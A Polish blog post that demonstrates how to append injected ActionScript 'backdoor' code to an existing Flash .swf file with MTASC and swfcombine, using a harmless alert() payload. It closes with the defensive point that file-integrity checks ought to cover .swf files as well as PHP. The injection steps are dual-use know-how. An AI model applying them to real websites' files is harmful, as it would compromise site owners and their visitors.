9
Backdoor w plikach Flash
Technologia Flash powoli przechodzi do lamusa. Są jeszcze jednak strony, które korzystają z niej w dość dużym stopniu. Myślę, że dopóki takie strony istnieją, dopóty warto mówić jak banalne jest dołączenie własnego kodu do obcego pliku .swf. Dodanie kilku linijek kodu backdoora do pliku PHP jest wyjątkowo proste – za chwilę pokażę, ze dołączenie takiego kodu do pliku Flash oscyluje na podobnym poziomie trudności.
Wszystko czego będziemy potrzebować to kompilator (mój wybór padł na prosty MTACS) oraz zestaw narzędzi SWFTools.
Stwórzmy jakiś prosty skrypt ActionScript [nazwijmy go as.as], który następnie skompilujemy do pliku .swf i do którego dołączymy kod naszego pseudo-backdoora.
class As{ function As() {} static function main(mc) { getURL("javascript:document.write(':)');");} } |
Podany kod skompilujemy poleceniem: mtasc.exe -swf as.swf as.as -main -header 500:390:12
Naszym oczom ukaże się pliczek as.swf o rozmiarze 500×390 i 12 ramkach na sekundę [height][width][rate]. Oczywiscie, kiedy będziemy doklejać nasz kod do istniejącego już pliku .swf to musimy poznać te dane (tu je sobie ot tak tworzymy). Aby wyciągnąć takie dane z gotowego już pliku .swf, do którego chcemy dokleić nasz kod musimy użyć swfdump.exe z pakietu SWFTool: swfdump.exe –height –width –rate jakis_plik.swf
OK, czas napisać teraz naszego backdoora [bum.as]:
class Bum { function Bum() {} static function main(mc) { getURL("javascript:alert('Bum!')");} } |
Kompilujemy go w identyczny sposób:
mtasc.exe -swf bum.swf bum.as -main -header 500:390:12 |
(pamiętając o [height][width][rate]).
W taki oto sposób mamy dwa pliku as.as oraz bum.as, które chcemy połączyć [czyt. dokleić zawartość bum.as do pliku as.as]. Z pomocą znowu przyjdzie nam SWFTools, a dokładniej pliczek swfcombine.exe.
swfcombine.exe -o nowy_plik.swf -T bum.as as.as |
Nowo-powstały plik o finezyjnej nazwie nowy_plik.swf zawiera zarówno kod pliku as.as oraz pliku bum.as.
Jak widać – doklejenie własnego kodu do obcego pliku Flash nie jest zadaniem złożonym. Cały proces jest na tyle banalny, że można z łatwością go zautomatyzować i tylko czekać, aż przeczesujące Sieć roboty będą zarażały porozrzucane na serwerach pliki .swf (warunek jest jeden – serwer musi być na tyle dziurawy, że dany robot będzie miał możliwość uploadowania i nadpisania danego pliku). Cały ten post ma jednak ciut inny (trochę zaskakujący) morał. Praktycznie każdy amatorsko napisany system integralności plików jaki widziałem skupiał się tylko na obliczaniu checksum plików .php. Okazuje się, że również inne pliki (w tym przypadku .swf) mogą mieć doklejonych kilka szkodliwych linijek kodu. Sprawdzajmy więc każde potencjalne zagrożenie.
Odtwarzacz flash poinformuje o użyciu getURL
1. getURL użyte zostało jako przykład.
2. Niektórych użytkowników nie poinformuje: click me .